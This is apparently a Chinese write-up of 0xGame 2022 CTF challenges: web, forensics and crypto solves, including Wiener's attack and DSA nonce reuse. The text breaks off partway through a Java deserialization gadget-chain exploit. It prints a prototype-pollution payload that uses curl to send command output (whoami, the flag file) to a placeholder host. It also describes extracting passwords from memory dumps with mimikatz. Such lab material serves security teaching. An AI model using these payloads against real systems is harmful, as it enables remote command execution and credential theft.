            delete user.__proto__[key];
        }
        try{
            merge(user,client)
        } catch(error) {
            res.send('error');
            return;
        }

        res.send('got it bro');
    }
    else{
        res.send('WTH is that?');
    }
})

app.get('/', (req, res) => {
    res.send('whats up bro');
})

app.get('/source', (req, res) => {
    res.download('app.js');
})

app.use(function(req, res, next) {
  res.status(404).send('404 not found');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Error');
});


const port = 3000;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

nodejs 原型链污染

参考文章 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

/gotit 路由里面有 var client = req.body;, 其实也就是通过 json 解析, 然后会将 client 中的键值对 merge 给 user

/time 路由将会执行 time 对象中的每一条命令

那么我们只需要通过 user.__proto__ 污染 Object, 这样遍历 time 对象的时候, 就会执行我们自定义的命令

因为没有回显, 所以这里用 curl 外带执行结果

payload 如下

{
	"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`whoami`\""}
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151125296.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151125009.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151126909.png

查找 flag 路径

find / -name flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151127760.png

最后查看 flag

{
	"__proto__": {"cmd2": "curl http://x.x.x.x:65222/ -X POST -d \"`cat /usr/local/share/doc/node/flag`\""}
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151129324.png

1.pcapng 抓取的是 usb 流量

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151822011.png

参考文章 https://ctf-wiki.org/misc/traffic/protocols/usb/

参考工具 https://github.com/WangYihang/UsbKeyboardDataHacker

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151822942.png

Part of the password is P@33w0rD_1

2.pcapng 直接打开找 http 协议即可

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151825999.png

s_Here

综上, 压缩包密码如下

P@33w0rD_1s_Here

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151829672.png

password.txt

pass
a@Yw
:*7o
sidr

根据题目搜到这几篇文章

https://www.cnblogs.com/zysgmzb/p/16334446.html

https://www.w3cjava.com/technical-articles/ctf/125035408.html#babydisk_224

提示是螺旋矩阵, 于是把 txt 里的内容顺时针转一下

passwordis:a@Y7*

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161625400.png

hint 为 这个密码好怪,或许压缩包也一样?, 猜测压缩包也是用同样的方式螺旋读取

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161626297.png

flag.zip 长度为 289 字节, 在 factordb 里分解一下

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161627966.png

17 * 17, 刚好能凑成一个矩阵

先简单按每行 17 个 hex 提取压缩包内容

50 4b 03 04 14 00 09 00 63 00 06 3f fa 54 f6 2d 14
a2 dd 14 09 87 ed 35 75 37 b7 e8 e4 f8 78 c8 0e 28
a9 3b f7 5c ff 50 4b 07 08 f6 2d 14 28 4a 00 e2 4a
0c 54 08 00 2f 00 00 00 00 00 00 00 20 00 00 09 00
4f 3e 00 5b 1e 82 a0 d8 01 2f c2 3c 65 00 00 39 00
d8 d4 00 8b 00 50 4b 05 06 00 00 00 82 00 2c 6f 00
49 0b 00 f1 08 00 00 00 00 00 00 00 a0 00 00 7e 2c
99 fe 2c 00 03 00 00 00 00 00 00 01 d8 00 00 25 00
bb a5 00 18 45 00 00 00 00 00 00 00 01 00 00 37 00
ed 9f 00 00 41 00 00 00 00 00 00 01 8c 00 50 64 00
5e 77 00 01 00 00 00 00 00 00 00 00 74 66 4b b2 08
18 22 4a 00 01 00 00 8b 00 00 00 65 3c 6c 01 40 00
01 1d 28 00 00 07 99 01 01 d8 a0 82 65 61 02 11 0b
3f 21 14 00 00 00 20 00 0a 74 78 74 2e 67 1f c8 00
10 2a 2d f6 54 fa 3f 06 00 63 00 09 00 14 00 1a 66
49 5d 97 70 40 2f 77 5a 28 fe c0 de 48 fa 44 31 6c
00 08 03 45 41 00 01 00 07 99 01 74 78 74 2e 67 61

然后在 hex editor 里手敲一遍

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161630291.png

最后输入密码解压缩, 打开 flag.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161632948.png

参考文章 https://www.cnblogs.com/zysgmzb/p/15905869.html

imageinfo

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161056296.png

选择 Win7SP1x64, 然后 pslist 看一下进程

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161057423.png

发现有 cmd.exe 和 notepad.exe

因为是 win7 用不了 notepad, 所以换成了 editbox

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161058937.png

可疑文本

St1gvdn13d2SGcKvxRq4vbGEKf66e1IX1ywid5epVjAHknLqo5UQj/1XkVGdsF2U

再用 cmdscan 收集信息

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161059540.png

提示 boot password, 于是 hashdump

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161100934.png

有两个用户 zysgmzb 和 zysgmzb1, 后者的 hash 解出来是 888999, 前者在线网站解不出来

拿着 888999 去解密那串文本, 试了 aes des 之类的对称加密都不行

然后想着这个是内存取证, 能不能通过转储 lsass.exe 配合 mimikatz 读明文?

不过本地 dump 出来之后用 mimikatz 读取一直提示错误…

网上搜了一下发现 volatility 有现成的 mimikatz 插件

https://l1near.top/index.php/2020/08/09/59.html

wsl 环境有点问题, 换成了 kali 虚拟机

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161106855.png

password 是 0xGame2022

拿着这个去解 aes

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161107431.png

题目名称提示是 ttl

参考文章 https://blog.csdn.net/l8947943/article/details/122723363

不过这题转成二进制后是前四个数字不一样

脚本如下

import binascii

with open('123.txt', 'r') as f:
    content = f.read().split('\n')

data = ''

for i in content:
    b = '{0:b}'.format(int(i)).zfill(8)[:4]
    data += b

flag = ''
for i in range(0, len(data),8):
    flag += chr(int(data[i:i+8],2))

print(flag)

输出的内容看起来像 base64

/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/2wBDAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQH/wAARCAIAAgADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD+1D9mm1lX4UfD8zTNdyXnh/Ttalu3un1J9Um1C4mvX8RS6jL4h8bya/PqzOb1/Gdz41+L974iec6pN+038ZZrpvHuv/RoJQXLdSfMXPzMZCjpFgkec0xB/d4Z9SZWIiEUUjDTpOU8BeH28P8Ah/SrCbe0lvDG9w80k00097cNcyz311cXd9qt1eahdTymW61bU9Z8Sa9qFw7z6p8QPGF9JPql51bKXjlOMmVpgQRktghMMCkhbH+q2yRz7QfINvECdJlANFTuO8c7l4w.....................................................................................

用在线网站转成图片

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161700886.png

把图片保存到本地, binwalk 和 stegsolve 没看出来什么…

在 ctf-wiki 找到了针对 jpg 隐写的检测工具 stegdetect

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161702737.png

检测是 jphide 隐写, 结果解密时需要密码, 密码用各种 topXXX.txt 跑一遍都不行…

最后问了下师傅, 提示我仔细看题目描述

大水怪zysgmzb又水了一道题,好水啊

三个水, 可能是盲水印?

https://github.com/ww23/BlindWatermark

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161705514.png

这里要用 -f 参数, 用 -c的话图片会乱码

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161706062.png

用在线美图秀秀拉一下对比度

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161706822.png

试出来 flag 为 0xGame{2ade442e-2b56-4794-9d58-cff8eb88b2bf}

文件开头和结尾有点意思

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161934622.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161936810.png

隐隐约约地在提示 0xGame 这个关键词

参考文章 https://cloud.tencent.com/developer/article/1916852

参考工具 https://github.com/raddyfiy/xortool-for-Windows

分析词频得到 key 大概率是 6 个字符, 然后指定长度和出现频率最高的字符 (二进制文件为 00)

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161947414.png

这里其实也可以直接猜 key 为 0xGame, 附上 python2 脚本 ( python3 会有些奇怪的错误)

from itertools import cycle

with open('flag','rb') as f:
    content = f.read()

key = cycle('0xGame')
data = ''
for i in content:
    data += chr(ord(i) ^ ord(next(key)))
with open('res','wb') as f:
    f.write(data)

解密出来的文件是压缩包

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161949009.png

解压后打开 flagishere.Q

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161958594.png

提示是按键精灵

安装之后导入脚本

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161958832.png

运行时打开记事本, 自动输入 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210161959867.png

from Crypto.Util.number import *
from random import getrandbits
from gmpy2 import iroot
from secret import flag

p = getPrime(1024)
q = getPrime(1024)
N = p * q
print(f'N = {N}')
phi = (p - 1) * (q - 1)
d = int(iroot(N, 4)[0]) ^ getrandbits(250)
e = inverse(d, phi)
print(f'e = {e}')
m = bytes_to_long(flag)
c = pow(m, e, N)
print(f'c = {c}')

'''
N = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
c = 5840501258024718864832142987890599173450298697953071330840633894213580157775134582366948009609464376347860855722853624706859551014578993970405414872475110788174945766031263741375838245446993873866074337521205610057099008802133355317057766130687125151837582629432432658067853766874748078066930025360520657828177656684371518932673114544966498967187329934293660732818645061628470501507505692848153374443370177624402249696242245782230674035636514120771392032684619892427019580836399492234567981411499400095809897517092318731307728822816363313767096033957040393013220969966377537175857321999311476688402271035503547204592
'''

题目描述提示是维纳攻击

参考工具 https://github.com/pablocelayes/rsa-wiener-attack

import owiener

n = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
d = owiener.attack(e, n)
print(d)

结果如下

10821819401995161131611357830544293750269646962655155883592763580969538386806972923386181717354230354003247519488019633726462455796190429625162908284468053

rsa 解密

from Crypto.Util.number import long_to_bytes

n = 13715167883327838365274013103811076297254519716291174626890031505049627611641807596962804506207157502045195781365630439474317484673473403986343702501452710346860882791228915615232698948400931145542432966628624716533536281875822030435151439206091534065530955853558251844179933228948946231934907101348856917824632780140302729089040084528299043022659493046663327556618853280458205340179780170389837210862308567364916986243860683903949615558074610280891213861381781319433048939289437463860265900778945092793308233742580280756443573234593229072279867130716077271555451455116619361480980560826274232688876999336924667363487
e = 1615862820938647108786482341931683353132461038363662791095097725090528207925144493492927418779285810993803186019668893476085410570338701324011680380009723017909177619155864350030705272863925396654868568018042490841315909498209546400543778057365091655159015236972999269615383129191650099946771227478019788434779769416560521875995741538043223514581448653783898100814268462500355130172367409153557166306640544650178710024155132465062731524785656554977071144060691933041728644548295325756367557081623679286709670138138897259434915699217267474125159279020820148982619570258333277071070481182133532212027568829026138356701
d = 10821819401995161131611357830544293750269646962655155883592763580969538386806972923386181717354230354003247519488019633726462455796190429625162908284468053
c = 5840501258024718864832142987890599173450298697953071330840633894213580157775134582366948009609464376347860855722853624706859551014578993970405414872475110788174945766031263741375838245446993873866074337521205610057099008802133355317057766130687125151837582629432432658067853766874748078066930025360520657828177656684371518932673114544966498967187329934293660732818645061628470501507505692848153374443370177624402249696242245782230674035636514120771392032684619892427019580836399492234567981411499400095809897517092318731307728822816363313767096033957040393013220969966377537175857321999311476688402271035503547204592

m = pow(c, d, n)
print(long_to_bytes(m))

flag 为 0xGame{b0n3h_durf33_YYDS}

from Crypto.Util.number import *
import random
from secret import flag

a = random.getrandbits(32)
b = random.getrandbits(32)


def circular_shift_left(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[k:] + bin_value[:k]
    int_value = int(bin_value, 2)
    return int_value


def enc_block(block):
    block = bytes_to_long(block)
    block ^= a
    block = circular_shift_left(block, 11)
    block ^= b
    return block


def enc_msg(msg):
    block_length = 4
    msg = msg + ((block_length - len(msg) % block_length) % block_length) * b'\x00'
    plain_block = [msg[block_length * i: block_length * (i + 1)] for i in range(len(msg) // block_length)]
    cipher = b""
    IV = bytes_to_long(b"0xgm")
    for block in plain_block:
        c = enc_block(block) ^ IV
        IV = c
        cipher += long_to_bytes(c)
    return cipher


print("a =", a)
print("b =", b)
print("cipher =", enc_msg(flag))

'''
a = 232825750
b = 1828860569
cipher = b'\x9a]\xec\x18\xd9\x98\x1d\x85\x0b}V\xf0\xc9\x98\x8d\x85"<\xf4\x02+\xa1m\xe7\xa0\xa6dJ\x8b\x93u?\x0b\x8d\xf62'
'''

块加密, 具体是啥不太清楚… 分组模式应该是 CBC, 因为有初始向量 IV

参考文章 https://ctf-wiki.org/crypto/blockcipher/mode/cbc/

根据上面的代码倒过来写解密函数就行了

from Crypto.Util.number import *
import random

a = 232825750
b = 1828860569
cipher = b'\x9a]\xec\x18\xd9\x98\x1d\x85\x0b}V\xf0\xc9\x98\x8d\x85"<\xf4\x02+\xa1m\xe7\xa0\xa6dJ\x8b\x93u?\x0b\x8d\xf62'

def circular_shift_left(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[k:] + bin_value[:k]
    int_value = int(bin_value, 2)
    return int_value

def circular_shift_right(int_value, k, bit=32):
    bin_value = bin(int_value)[2:].zfill(32)
    bin_value = bin_value[-k:] + bin_value[:-k]
    int_value = int(bin_value, 2)
    return int_value

def enc_block(block):
    block = bytes_to_long(block)
    block ^= a
    block = circular_shift_left(block, 11)
    block ^= b
    return block

def dec_block(block):
    block ^= b
    block = circular_shift_right(block, 11)
    block ^= a
    return long_to_bytes(block)

def dec_msg(cipher):
    block_length = 4
    enc_block = [cipher[block_length * i: block_length * (i + 1)] for i in range(len(cipher) // block_length)]
    msg = b''
    IV = bytes_to_long(b"0xgm")
    for block in enc_block:
        c = bytes_to_long(block)
        c ^= IV
        IV = bytes_to_long(block)
        m = dec_block(c)
        msg += m
    return msg

print(dec_msg(cipher))

flag 为 0xGame{n0w_y0u_kn0w_bl0ck|c1pher?}

from Crypto.Util.number import *
import random
from secret import flag

n = 1
phi = 1
for i in range(20):
    tmp = getPrime(50)
    n *= tmp
m = bytes_to_long(flag)
e = random.getrandbits(32)
l = pow(3, pow(3, e), n)
c = l ^ m

print(e)
print(n)
print(c)
'''
e = 231259269673028
n = 29929378538095242599885557965311297229924523708488195903349782032363055913634371143193552305707368798772150932190898234995143081146304332830718576568862215833419088712212229994786373886002933885241338295986566059232256985357837569354103718470254246398122059607732272010616255443856829833332931407591
c = 14115545351007949046897492137862741044898077109960419446496565606468622772683580281638816799144770994249828910260693306203880085794955034747476060153997656323523503375955659777681988740544687254199590802537529515579620119333945661254265030658518256358717772703818654480106524239143719389868004689600
'''

其实就是简单的异或加密, 但这里 l 很大, 直接用 pow 算要跑很久很久

题目描述提示是欧拉定理, 网上找到一个类似的题目

https://github.com/pberba/ctf-solutions/blob/master/20190810-crytoctf/crypto-122-time-capsule/time-capsule-solution.ipynb

大意就是说先分解 n 找到一些质数, 然后计算 phi, 通过 phi 可以降幂计算 l, 加快了计算速度

首先是分解 n, factordb 只分出来两个… 于是换成了 yafu

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151848898.png

然后根据文章里的公式计算 l

phi = reduce(lambda curr, p: curr*(p-1), factors, 1)

e = pow(3, e, phi)
l = pow(3, e, n)

最后将 l 与 c 异或, 得到明文 m

完整代码如下

from Crypto.Util.number import *
from functools import reduce

e = 231259269673028
n = 29929378538095242599885557965311297229924523708488195903349782032363055913634371143193552305707368798772150932190898234995143081146304332830718576568862215833419088712212229994786373886002933885241338295986566059232256985357837569354103718470254246398122059607732272010616255443856829833332931407591
c = 14115545351007949046897492137862741044898077109960419446496565606468622772683580281638816799144770994249828910260693306203880085794955034747476060153997656323523503375955659777681988740544687254199590802537529515579620119333945661254265030658518256358717772703818654480106524239143719389868004689600

factors = [0] * 20

factors[0] = 1031597280836669
factors[1] = 585469394406137
factors[2] = 986358416636413
factors[3] = 627339010540087
factors[4] = 755979891579641
factors[5] = 1002598179716267
factors[6] = 564473023238051
factors[7] = 712230248080397
factors[8] = 729341978292667
factors[9] = 771609538687643
factors[10] = 1108754952183367
factors[11] = 1098486200089483
factors[12] = 724280506692727
factors[13] = 722283223420861
factors[14] = 995107014561889
factors[15] = 1121166222643673
factors[16] = 1106502088074143
factors[17] = 831763169751037
factors[18] = 1047241102139227
factors[19] = 681606630260771

phi = reduce(lambda curr, p: curr*(p-1), factors, 1)

e = pow(3, e, phi)
l = pow(3, e, n)
m = c ^ l
print(long_to_bytes(m))

flag 为 0xGame{Euler_1s_v3ry|useful!}'

from Crypto.Util.number import *
from hashlib import *
from secret import secretkey, flag

assert flag == '0xGame{' + md5(str(secretkey).encode()).hexdigest() + '}'


class DigitalSignatureAlgorithm:
    def __init__(self):
        self.p = 11165563731567620813280603348108480503936143873639953843877402138097093301295650519258404426227037499368315956021156867415800042556171179986919811355886447
        self.q = 1427665647738374763020227949129429759446792665193
        self.g = 8385242253270806088154521306824584871033482078620830257754618478173828281256533554013845296082505886967783284208873604051466162625518031631615203713726934
        self.k = getRandomRange(1, self.q)

    def sign(self, m, x):
        z = bytes_to_long(sha256(m).digest())
        r = int(pow(self.g, self.k, self.p)) % self.q
        s = (int(inverse(self.k, self.q)) * (z + x * r)) % self.q
        return r, s


DSA = DigitalSignatureAlgorithm()
x = secretkey
y = pow(DSA.g, x, DSA.p)
print(y)

m0 = b'0xGame'
m1 = b'hack_fun'

r0, s0 = DSA.sign(m0, x)
r1, s1 = DSA.sign(m1, x)
print(r0, s0)
print(r1, s1)

'''
629561663141556350240195805457452624173044316397843833361377725186629298877124510669391999570948536274320600603150740845095742614597958058723489543231707
9569108440001628337054549116871993930089020799 1155391566683353144613828381835889947132557976718
9569108440001628337054549116871993930089020799 182166581822791423481695372664923137176789829383
'''

DSA 数字签名

参考文章

https://ctf-wiki.org/crypto/signature/dsa/

https://github.com/xalanq/jarvisoj-solutions/blob/master/crypto/DSA.md

不难发现代码里面对 m0 m1 的签名用的是同一个 k 值

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210151851351.png

直接用文章里的脚本跑一下

from Crypto.Util.number import bytes_to_long
from hashlib import *
import gmpy2

y = 629561663141556350240195805457452624173044316397843833361377725186629298877124510669391999570948536274320600603150740845095742614597958058723489543231707

r0 = 9569108440001628337054549116871993930089020799
s0 = 1155391566683353144613828381835889947132557976718
r1 = 9569108440001628337054549116871993930089020799
s1 = 182166581822791423481695372664923137176789829383

p = 11165563731567620813280603348108480503936143873639953843877402138097093301295650519258404426227037499368315956021156867415800042556171179986919811355886447
q = 1427665647738374763020227949129429759446792665193
g = 8385242253270806088154521306824584871033482078620830257754618478173828281256533554013845296082505886967783284208873604051466162625518031631615203713726934

m0 = bytes_to_long(sha256(b'0xGame').digest())

m1 = bytes_to_long(sha256(b'hack_fun').digest())

ds = s1 - s0
dm = m1 - m0
k = gmpy2.mul(dm, gmpy2.invert(ds, q))
k = gmpy2.f_mod(k, q)
tmp = gmpy2.mul(k, s0) - m0
x = tmp * gmpy2.invert(r0, q)
x = gmpy2.f_mod(x, q)
print('x =', x)

print('0xGame{' + md5(str(x).encode()).hexdigest() + '}')

flag 为 0xGame{0d49c454e403b622070f7257682fe8d6}

const express = require("express");
const path = require("path");
const fs = require("fs");
const jwt = require("jsonwebtoken");
const cookieParser = require("cookie-parser");

const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());

const port = 3000;
const flag = process.env.FLAG || "flag{fake_flag}";
const jwtKey = Math.random().toString();

class UserStore {
    constructor() {
        this.users = {};
        this.usernames = {};
    }

    insert(username, password) {
        const uid = Math.random().toString();
        this.users[uid] = {
            username,
            uid,
            password,
            profile: "个人简介",
            restricted: true,
        };
        this.usernames[username] = uid;
        return uid;
    }

    get(uid) {
        return this.users[uid] ?? {};
    }

    lookup(username) {
        return this.usernames[username];
    }

    remove(uid) {
        const user = this.get(uid);
        delete this.usernames[user.username];
        delete this.users[uid];
    }
}

const users = new UserStore();

app.use((req, res, next) => {
    try {
        res.locals.user = jwt.verify(req.cookies.token, jwtKey, {
            algorithms: ["HS256"],
        });
    } catch (err) {
        if (req.cookies.token) {
            res.clearCookie("token");
        }
    }
    next();
});

app.get("/", (req, res) => {
    res.send(`<html>
<body>欢迎使用</body>
<!--/source-->
</html>`);
});

app.post("/register", (req, res) => {
    if (
        !req.body.username ||
        !req.body.password ||
        req.body.username.length > 32 ||
        req.body.password.length > 32
    ) {
        res.send("非法用户名/密码");
        return;
    }
    if (users.lookup(req.body.username)) {
        res.send("该用户名已被占用");
        return;
    }
    const uid = users.insert(req.body.username, req.body.password);
    res.cookie("token", jwt.sign({ uid }, jwtKey, { algorithm: "HS256" }));
    res.send("注册成功");
});

app.post("/login", (req, res) => {
    const user = users.get(users.lookup(req.body.username));
    if (user && user.password === req.body.password) {
        res.cookie("token", jwt.sign({ uid: user.uid }, jwtKey, { algorithm: "HS256" }));
    } else {
        res.send("用户名/密码错误");
    }
});

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.send("已成功删除该用户");
});

app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

app.post("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    if (!req.body.profile || req.body.profile.length > 2000) {
        res.send("简介必须为1-2000个字内");
        return;
    }
    users.get(res.locals.user.uid).profile = req.body.profile;
    res.send("简介修改成功");
});

app.get("/source", (req, res) => {
   res.sendFile("/app/app.js");
});

app.listen(port, () => {
    console.log(`服务已启动`);
});

nodejs 的题, 题目实现了一个简单的管理用户的 api

登录和注册的过程存在 jwt, 所以一开始就想着往 jwt 的方向去找利用思路, 结果都失败了

后来觉得既然程序写了这几个路由, 应该都是有用的

于是看了下 /delete 路由

app.post("/delete", (req, res) => {
    if (res.locals.user) {
        users.remove(res.locals.user.uid);
    }
    res.clearCookie("token");
    res.send("已成功删除该用户");
});

再看获取 flag 的路由

app.get("/profile", (req, res) => {
    if (!res.locals.user) {
        res.status(401).send("请先登录");
        return;
    }
    const user = users.get(res.locals.user.uid);
    res.send(user.restricted ? user.profile : flag);
});

这里很容易就能想出来一个思路: 在登陆状态下我们请求 /delete 删除用户, 这时候 user.restricted 就是 undefined (相当于 false), 那么 user.restricted ? user.profile : flag 的结果就会变成 flag

下面来试一下, 先注册用户

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241714243.png

只要带上 token 就已经是登录状态了, 然后去请求 /delete

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241717883.png

最后请求 /profile 得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210241717638.png

java 题, 用的是 springboot

IndexController

package BOOT-INF.classes.com.ctf.game.Controller;

import com.ctf.game.Controller.Tools;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@EnableAutoConfiguration
@RestController
public class IndexController {
  @GetMapping({"/"})
  public String hello() throws Exception {
    return "<h1>Come on!! help winmt find his girlfriend</h1>";
  }

  @RequestMapping({"/girlfriend"})
  public String starter(@RequestParam(name = "object", required = false) String object, Model model) throws Exception {
    if (object != null) {
      try {
        Tools.deserialize(Tools.base64Decode(object));
      } catch (Exception e) {
        return "<h1>ohhh No!! object of winmt is broken :(</h1>";
      }
    } else {
      return "<h1>No winmt want an object ~</h1>";
    }
    return "<h1>ohhh yes!! winmt found his object :)</h1>";
  }
}

Tools

package BOOT-INF.classes.com.ctf.game.Controller;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.util.Base64;

public class Tools implements Serializable {
  private static final long serialVersionUID = 362498820763181265L;
  
  private String girlfriend;
  
  public static byte[] base64Decode(String base64) {
    Base64.Decoder decoder = Base64.getDecoder();
    return decoder.decode(base64);
  }

  public static String base64Encode(byte[] bytes) {
    Base64.Encoder encoder = Base64.getEncoder();
    return encoder.encodeToString(bytes);
  }

  public static byte[] serialize(Object obj) throws Exception {
    ByteArrayOutputStream btout = new ByteArrayOutputStream();
    ObjectOutputStream objOut = new ObjectOutputStream(btout);
    objOut.writeObject(obj);
    return btout.toByteArray();
  }

  public static Object deserialize(byte[] serialized) throws Exception {
    ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
    ObjectInputStream objIn = new ObjectInputStream(btin);
    Object o = objIn.readObject();
    return o;
  }

  public boolean equals(Object obj) {
    return girlfriendofwinmt(obj);
  }

  public boolean girlfriendofwinmt(Object obj) {
    if (obj instanceof String)
      try {
        Runtime.getRuntime().exec(this.girlfriend);
        return true;
      } catch (Exception e) {
        e.printStackTrace();
        return false;
      }
    return false;
  }
}

pom.xml 里只有 springboot 的相关依赖, 就不贴了

题目已经给了反序列化的入口点 (readObject), 并且 Tools 类中存在 equals 和 girlfriendofwinmt 这两个可疑方法

猜测思路就是利用反序列化通过 equals 最终调用到 girlfriendofwinmt 中来执行命令

然后既然没用到其它的第三方依赖, 所以应该就是原生类的反序列化, 要在 jdk 中找利用链

去网上搜了下用到 equals 方法的相关文章, 找到了 cc7 和 jdk7u21 这两条链子, 根据 hint 的 "Aa".hashCode()=="BB".hashCode() 来看应该考察的是 cc7 里面的某些步骤

参考文章 https://tttang.com/archive/1337/#toc_0x07-commonscollections7

部分 gadget

Gadget chain:
    Hashtable.readObject
        Hashtable.reconstitutionPut
            AbstractMapDecorator.equals
                AbstractMap.equals

为什么要找 Hashtable HashMap 这些呢, 因为是哈希表要保证 key 甚至 value 唯一, 必然会涉及到 equals 方法的调用

先跟着文章里原来的 payload 跟一下

package com.ctf.game.Controller;

import com.ctf.game.Serialization;

import java.lang.reflect.*;
import java.util.*;

public class Demo{
    public static void main(String[] args) throws Exception{
        Tools tools = new Tools();
